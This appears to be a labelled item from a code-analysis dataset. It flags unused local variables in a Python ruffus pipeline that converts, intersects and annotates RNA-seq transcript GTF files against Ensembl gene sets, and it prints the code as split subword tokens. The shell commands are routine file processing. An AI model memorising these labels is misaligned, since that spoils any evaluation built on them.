[ { "span": "track ", "start_line": 145, "start_column": 4, "end_line": 145, "end_column": 9 }, { "span": "statement ", "start_line": 146, "start_column": 4, "end_line": 146, "end_column": 13 }, { "span": "track ", "start_line": 155, "start_column": 4, "end_line": 155, "end_column": 9 }, { "span": "statement ", "start_line": 156, "start_column": 4, "end_line": 156, "end_column": 13 }, { "span": "ensembl_genes ", "start_line": 163, "start_column": 4, "end_line": 163, "end_column": 17 }, { "span": "ensembl_noncoding ", "start_line": 164, "start_column": 4, "end_line": 164, "end_column": 21 }, { "span": "statement ", "start_line": 166, "start_column": 4, "end_line": 166, "end_column": 13 }, { "span": "statement ", "start_line": 177, "start_column": 4, "end_line": 177, "end_column": 13 }, { "span": "ensembl_genes ", "start_line": 184, "start_column": 4, "end_line": 184, "end_column": 17 }, { "span": "statement ", "start_line": 185, "start_column": 4, "end_line": 185, "end_column": 13 }, { "span": "ensembl_transcripts ", "start_line": 195, "start_column": 4, "end_line": 195, "end_column": 23 }, { "span": "statement ", "start_line": 196, "start_column": 4, "end_line": 196, "end_column": 13 }, { "span": "statement ", "start_line": 207, "start_column": 4, "end_line": 207, "end_column": 13 }, { "span": "ensembl_transcripts ", "start_line": 218, "start_column": 4, "end_line": 218, "end_column": 23 }, { "span": "statement ", "start_line": 219, "start_column": 4, "end_line": 219, "end_column": 13 }, { "span": "statement ", "start_line": 228, "start_column": 4, "end_line": 228, "end_column": 13 }, { "span": "ensembl_noncoding ", "start_line": 235, "start_column": 4, "end_line": 235, "end_column": 21 }, { "span": "statement ", "start_line": 236, "start_column": 4, "end_line": 236, "end_column": 13 }, { "span": "ensembl_noncoding ", "start_line": 248, "start_column": 4, "end_line": 248, "end_column": 21 }, { "span": "statement ", "start_line": 249, "start_column": 4, "end_line": 249, "end_column": 13 }, { "span": "statement ", "start_line": 261, "start_column": 4, "end_line": 261, "end_column": 13 }, { "span": "statement ", "start_line": 268, "start_column": 4, "end_line": 268, "end_column": 13 }, { "span": "inlist ", "start_line": 276, "start_column": 4, "end_line": 276, "end_column": 10 }, { "span": "statement ", "start_line": 277, "start_column": 4, "end_line": 277, "end_column": 13 }, { "span": "headers ", "start_line": 284, "start_column": 4, "end_line": 284, "end_column": 11 }, { "span": "statement ", "start_line": 285, "start_column": 4, "end_line": 285, "end_column": 13 }, { "span": "ensembl_genes ", "start_line": 303, "start_column": 4, "end_line": 303, "end_column": 17 }, { "span": "statement ", "start_line": 304, "start_column": 4, "end_line": 304, "end_column": 13 }, { "span": "ensembl_genes ", "start_line": 314, "start_column": 4, "end_line": 314, "end_column": 17 }, { "span": "statement ", "start_line": 315, "start_column": 4, "end_line": 315, "end_column": 13 }, { "span": "window=", "start_line": 325, "start_column": 4, "end_line": 325, "end_column": 10 }, { "span": "faidx=", "start_line": 326, "start_column": 4, "end_line": 326, "end_column": 9 }, { "span": "statement ", "start_line": 327, "start_column": 4, "end_line": 327, "end_column": 13 }, { "span": "window=", "start_line": 335, "start_column": 4, "end_line": 335, "end_column": 10 }, { "span": "faidx=", "start_line": 336, "start_column": 4, "end_line": 336, "end_column": 9 }, { "span": "statement ", "start_line": 337, "start_column": 4, "end_line": 337, "end_column": 13 }, { "span": "inlist ", "start_line": 345, "start_column": 4, "end_line": 345, "end_column": 10 }, { "span": "statement ", "start_line": 346, "start_column": 4, "end_line": 346, "end_column": 13 }, { "span": "statement ", "start_line": 354, "start_column": 4, "end_line": 354, "end_column": 13 }, { "span": "statement ", "start_line": 365, "start_column": 4, "end_line": 365, "end_column": 13 }, { "span": "statement ", "start_line": 380, "start_column": 4, "end_line": 380, "end_column": 13 }, { "span": "statement ", "start_line": 394, "start_column": 4, "end_line": 394, "end_column": 13 }, { "span": "statement ", "start_line": 410, "start_column": 4, "end_line": 410, "end_column": 13 }, { "span": "statement ", "start_line": 424, "start_column": 4, "end_line": 424, "end_column": 13 }, { "span": "statement ", "start_line": 434, "start_column": 4, "end_line": 434, "end_column": 13 }, { "span": "ensembl_dir ", "start_line": 446, "start_column": 4, "end_line": 446, "end_column": 15 }, { "span": "statement ", "start_line": 447, "start_column": 4, "end_line": 447, "end_column": 13 }, { "span": "statement ", "start_line": 469, "start_column": 4, "end_line": 469, "end_column": 13 }, { "span": "statement ", "start_line": 486, "start_column": 4, "end_line": 486, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "transform_", "(_", "\"*", ".", "txt", "\"_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "txt", "\"_", ")_", ",_", "r", "\"\\\\", "1", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "convert", "Txt", "To", "Gt", "f_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Convert", " ", " ", "txt", " ", "to", " ", "Gt", "f", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track_", "=_", "P_", "._", "snip", "_", "(_", "os_", "._", "path_", "._", "basename_", "(_", "infile_", ")_", ",_", "\".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "aw", "k", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "\"", "chr", "\"$", "3", ",\"", "rna", "seq", "\",\"", "exon", "\",", "$", "4", ",", "$", "5", ",", "0", ",", "substr", "($", "6", ",", "0", ",", "1", "),", "\".", "\",\"", "transcri", "pt", "\\u", "id", " ", "\\\\\\\\\"", "\"$", "1", "\"\\\\\\\\", "\";", " ", "gene", "\\u", "id", " ", "\\\\\\\\\"", "\"$", "1", "\"\\\\\\\\", "\";", " ", "exon", "\\u", "number", " ", "\\\\\\\\\"", "\"", "substr", "($", "2", ",", "20", ",", "2", ")\"", "\\\\\\\\\"", ";", " ", "\"}", "'", " ", "\\", "10", ";", " ", "|", " ", "sed", " ", "s", "/", "0", "\\\\\\\\\\\\\\\\", "t1", "\\\\\\\\\\\\\\\\", "t", "\\\\.", "/", "0", "\\\\\\\\\\\\\\\\", "t", "+\\\\", "\\\\\\\\\\\\", "t", "\\\\.", "/", "g", " ", "|", " ", "sed", " ", "s", "/", "chr", "Ult", "ra", "/", "Ult", "ra", "/", " ", "|", " ", "sed", " ", "s", "/", "chr", "Conti", "g", "/", "Conti", "g", "/", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "convert", "Txt", "To", "Gt", "f_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "gtf", "\"_", ")_", ",_", "r", "\"\\\\", "1", ".", "transcripts", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Gt", "f", "Strand", "ed", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "join", " ", "exon", "s", " ", "to", " ", "get", " ", "transcripts", " ", "from", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "track_", "=_", "P_", "._", "snip", "_", "(_", "os_", "._", "path_", "._", "basename_", "(_", "infile_", ")_", ",_", "\".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2g", "tf", ".", "py", " ", "--", "join", "-", "exon", "s", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k", "4", ",", "4", "n", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "get", "Gt", "f", "Strand", "ed", "Transcript", "s_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "codi", "ng", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Ens", "embl", "Codi", "ng", "Genes", "et_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "identify", " ", "transc", "rpt", "s", " ", "tha", "t", " ", "overl", "ap", " ", "an", " ", "ensembl", " ", "codi", "ng", " ", "gene", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "genes_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "gene", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "nonc", "odi", "ng_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "nonc", "odi", "ng", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "need", " ", "to", " ", "remove", " ", "transcripts", " ", "tha", "t", " ", "overl", "ap", " ", "100", "%", " ", "with", " ", "nonc", "odi", "ng", " ", "transcripts", "_", "\\u\\u\\uNL\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "intersect", "Bed", " ", "-", "a", " ", "std", "in", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "gene", "s", ")", "s", " ", "-", "u", " ", "-", "s", " ", "\\", "10", ";", " ", "|", " ", "intersect", "Bed", " ", "-", "a", " ", "std", "in", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "nonc", "odi", "ng", ")", "s", " ", "-", "v", " ", "-", "s", " ", "-", "f", " ", "1", " ", "-", "r", "\\", "10", ";", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k", "4", ",", "4", "n", " ", ">", " ", "%", "(", "outfile", ")", "s", ";", "\\", "10", ";", " ", "echo", " ", "\"", "transcripts", " ", "with", " ", "ensembl", " ", "codi", "ng", " ", "overl", "ap", ":", " ", "\"", " ", ">", " ", "%", "(", "outfile", ")", "s", ".", "count", ";", " ", "\\", "10", ";", " ", "cat", " ", "%", "(", "outfile", ")", "s", " ", "|", " ", "wc", " ", "-", "l", " ", ">>", " ", "%", "(", "outfile", ")", "s", ".", "count", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "get", "Ens", "embl", "Codi", "ng", "Genes", "et_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "rename", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rename", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "system", "atic", "ally", " ", "rename", " ", "transcripts", " ", "to", " ", "remove", " ", "duplicat", "e", " ", "cu", "ffd", "iff", " ", "names", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "aw", "k", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",", "$", "4", ",", "$", "5", ",", "$", "6", ",", "$", "7", ",", "$", "8", ",\"", "transcri", "pt", "\\u", "id", " ", "\\\\\\\\\"", "rna", "seq", "\\u", "codi", "ng", "\\u", "transcri", "pt", "\\u\"", "NR", "\"\\\\\\\\", "\";", " ", "\"}", "'", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "rename", "Transcript", "s_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "ens", "g", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "annot", "ate", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Add", " ", "ensembl", " ", "gene", " ", "id", " ", "to", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "genes_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "gene", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "intersect", "Bed", " ", "-", "a", " ", "std", "in", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "gene", "s", ")", "s", " ", "-", "wa", " ", "-", "wb", " ", "-", "s", " ", "\\", "10", ";", " ", "|", " ", "aw", "k", " ", "-", "F", " ", "\"\\\\\\\\", "t", "\"", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",", "$", "4", ",", "$", "5", ",", "$", "6", ",", "$", "7", ",", "$", "8", ",\"", "gene", "\\u", "id", " ", "\\\\\\\\\"", "\"$", "13", "\"\\\\\\\\", "\";", " ", "\"$", "9", "}'", "\\", "10", ";", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k", "4", ",", "4", "n", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "annot", "ate", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "ens", "g", ".", "gtf", "\"_", ")_", ",_", "r", "\"", "all", "\\u", "transcripts", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "Missing", "Ens", "embl", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Add", " ", "ensembl", " ", "gene", " ", "id", " ", "to", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "transcripts", "_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "transcripts", "\\u", "gtf", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "\\", "10", ";", " ", "|", " ", "intersect", "Bed", " ", "-", "a", " ", "%", "(", "ensembl", "\\u", "transcripts", ")", "s", " ", "-", "b", " ", "std", "in", " ", "-", "v", " ", "-", "s", " ", "-", "f", " ", "1", " ", "-", "r", " ", ">", " ", "missi", "ng", "\\u", "ensembl", "\\u", "transcripts", ".", "gtf", ";", "\\", "10", ";", " ", "cat", " ", "%", "(", "infile", ")", "s", " ", "missi", "ng", "\\u", "ensembl", "\\u", "transcripts", ".", "gtf", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k", "4", ",", "4", "n", "\\", "10", ";", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "follow", "s_", "(_", "mkdir_", "(_", "\"", "gene", "set", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "transform_", "(_", "add", "Missing", "Ens", "embl", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"", "all", "\\u", "transcripts", ".", "gtf", "\"_", ")_", ",_", "\"", "gene", "set", "/", "transcripts", ".", "gtf", ".", "gz", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rename", "Transcript", "To", "Exo", "n_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "reformat", " ", "transcri", "pt", " ", "file", " ", "for", " ", "use", " ", "in", " ", "proj", "007", " ", "pipeline", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "\"\"\"", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "sed", " ", "s", "/\\\\\\\\", "\\\\\\\\", "ttr", "ans", "cript", "\\\\\\\\\\\\\\\\", "t", "/\\\\\\\\", "\\\\\\\\", "tex", "on", "\\\\\\\\\\\\\\\\", "t", "/", "g", "\\", "10", ";", " ", " ", " ", " ", " ", "|", " ", "gzip", " ", ">", " ", "%", "(", "outfile", ")", "s", ";", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "get", "Gt", "f", "Strand", "ed", "Transcript", "s_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "nonc", "odi", "ng", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Non", "codi", "ng", "Genes", "et_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Assume", " ", "tha", "t", " ", "all", " ", "transcripts", " ", "the", " ", "do", " ", "not", " ", "overl", "ap", " ", "with", " ", "ensembl", " ", "codi", "ng", " ", "gene", "set", " ", "are", " ", "nonc", "odi", "ng", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "transcripts", "_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "transcripts", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "intersect", "Bed", " ", "-", "a", " ", "std", "in", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "transcripts", ")", "s", " ", "-", "v", " ", "-", "s", " ", ">", " ", "%", "(", "outfile", ")", "s", ";", "\\", "10", ";", " ", "echo", " ", "\"", "transcripts", " ", "with", "out", " ", "ensembl", " ", "codi", "ng", " ", "overl", "ap", ":", " ", "\"", " ", ">", " ", "%", "(", "outfile", ")", "s", ".", "count", ";", " ", "\\", "10", ";", " ", "cat", " ", "%", "(", "outfile", ")", "s", " ", "|", " ", "wc", " ", "-", "l", " ", ">>", " ", "%", "(", "outfile", ")", "s", ".", "count", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "get", "Non", "codi", "ng", "Genes", "et_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "rename", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "rename", "Non", "codi", "ng", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "system", "atic", "ally", " ", "rename", " ", "transcripts", " ", "to", " ", "remove", " ", "duplicat", "e", " ", "cu", "ffd", "iff", " ", "names", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "aw", "k", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",", "$", "4", ",", "$", "5", ",", "$", "6", ",", "$", "7", ",", "$", "8", ",\"", "transcri", "pt", "\\u", "id", " ", "\\\\\\\\\"", "rna", "seq", "\\u", "nonc", "odi", "ng", "\\u", "transcri", "pt", "\\u\"", "NR", "\"\\\\\\\\", "\";", " ", "\"}", "'", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "rename", "Non", "codi", "ng", "Transcript", "s_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "ens", "g", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "annot", "ate", "Non", "codi", "ng", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Add", " ", "ensembl", " ", "gene", " ", "id", " ", "to", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "nonc", "odi", "ng_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "nonc", "odi", "ng", "\\u", "gene", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "intersect", "Bed", " ", "-", "a", " ", "%", "(", "infile", ")", "s", " ", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "nonc", "odi", "ng", ")", "s", " ", "-", "wa", " ", "-", "wb", " ", "-", "s", " ", "\\", "10", ";", " ", "|", " ", "aw", "k", " ", "-", "F", " ", "\"\\\\\\\\", "t", "\"", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",", "$", "4", ",", "$", "5", ",", "$", "6", ",", "$", "7", ",", "$", "8", ",\"", "gene", "\\u", "id", " ", "\\\\\\\\\"", "\"$", "13", "\"\\\\\\\\", "\";", " ", "\"$", "9", "}'", " ", ">", " ", "know", "n", "\\u", "nonc", "odi", "ng", "\\u", "exon", "s", ".", "gtf", ";", " ", " ", "\\", "10", ";", " ", "intersect", "Bed", " ", "-", "a", " ", "%", "(", "infile", ")", "s", " ", "-", "b", " ", "%", "(", "ensembl", "\\u", "nonc", "odi", "ng", ")", "s", " ", "-", "v", " ", "-", "s", "\\", "10", ";", " ", "|", " ", "aw", "k", " ", "-", "F", " ", "\"\\\\\\\\", "t", "\"", " ", "'", "OF", "S", "=\"\\\\", "\\\\", "t", "\"", " ", "{", "print", " ", "$", "1", ",", "$", "2", ",", "$", "3", ",", "$", "4", ",", "$", "5", ",", "$", "6", ",", "$", "7", ",", "$", "8", ",\"", "gene", "\\u", "id", " ", "\\\\\\\\\"", "novel", "\\u", "gene", "\\u\"", "NR", "\"\\\\\\\\", "\";", " ", "\"$", "9", "}'", " ", ">", " ", "novel", "\\u", "nonc", "odi", "ng", "\\u", "transcripts", ".", "gtf", ";", " ", "\\", "10", ";", " ", "cat", " ", "know", "n", "\\u", "nonc", "odi", "ng", "\\u", "exon", "s", ".", "gtf", " ", "novel", "\\u", "nonc", "odi", "ng", "\\u", "transcripts", ".", "gtf", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k", "4", ",", "4", "n", "\\", "10", ";", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "annot", "ate", "Non", "codi", "ng", "Transcript", "s_", ",_", "regex_", "(_", "r", "\"(", "\\\\", "S", "+)", ".", "ens", "g", ".", "gtf", "\"_", ")_", ",_", "r", "\"", "all", "\\u", "nonc", "odi", "ng", "\\u", "transcripts", ".", "gtf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "Missing", "Non", "codi", "ng", "Transcript", "s_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", " ", "Add", " ", "ensembl", " ", "gene", " ", "id", " ", "to", " ", "GT", "F", " ", "file", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensembl", "\\u", "nonc", "odi", "ng_", "=_", "PARAMS_", "[_", "\"", "ensembl", "\\u", "nonc", "odi", "ng", "\\u", "gtf", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "intersect", "Bed", " ", "-", "a", " ", "%", "(", "ensembl", "\\u", "nonc", "odi", "ng", ")", "s", " ", "-", "b", " ", "%", "(", "infile", ")", "s", " ", " ", "-", "v", " ", "-", "s", " ", "-", "f", " ", "1", " ", "-", "r", " ", ">", " ", "missi", "ng", "\\u", "ensembl", "\\u", "nonc", "odi", "ng", "\\u", "transcripts", ".", "gtf", ";", "\\", "10", ";", " ", "cat", " ", "%", "(", "infile", ")", "s", " ", "missi", "ng", "\\u", "ensembl", "\\u", "nonc", "odi", "ng", "\\u", "transcripts", ".", "gtf", " ", "|", " ", "sort", " ", "-", "k", "1", ",", "1", " ", "-", "k", "4", ",", "4", "n", "\\", "10", ";", " ", ">", " ", "%", "(", "outfile", ")", "s", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "transform_", "(_", "add", "Missing", "Ens", "embl", "Transcript", "s_", ",_", "suffix_", "(_", "\".", "gtf", "\"_", ")_", ",_", "\".", "tab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "transcri", "pt", "Gt", "f", "To", "Tab_", "(_", "infile_", ",_", "outfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Copy", " ", "replicate", "d", " ", "Bed", " ", "files", " ", "generat", "ed", " ", "by", " ", "caps", "eq", " ", "pip", "line", " ", "to", " ", "gene", "set", "-", "specific", " ", "output", " ", "director", "y", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "statement_", "=_", "'''", "cat", " ", "%", "(", "infile", ")", "s", " ", "|", " ", "python", " ", "%", "(", "scripts", "dir", ")", "s", "/", "gtf", "2t", "sv", ".", "py", " ", "-", "f", " ", "--", "log", "=", "%", "(", "outfile", ")", "s", ".", "log", " ", "|", " ", "aw", "k", " ", "'{", "if", " ", "(", "NR", "==", "1", ")", " ", "{", "print", " ", "$", "0", "\"\\\\\\\\", "tge", "ne", "\\u", "biot", "ype", "\\\\\\\\", "tge", "ne", "\\u", "name", "\"}", " ", "else", " ", "{", "print", " ", "$", "0", "\"\\\\\\\\", "tpr", "ote", "in", "\\u", "codi", "ng", "\\\\\\\\", "tun", "know", "n", "\"}}", "'", " ", ">", " ", "%", "(", "outfile", ")", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "P_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", 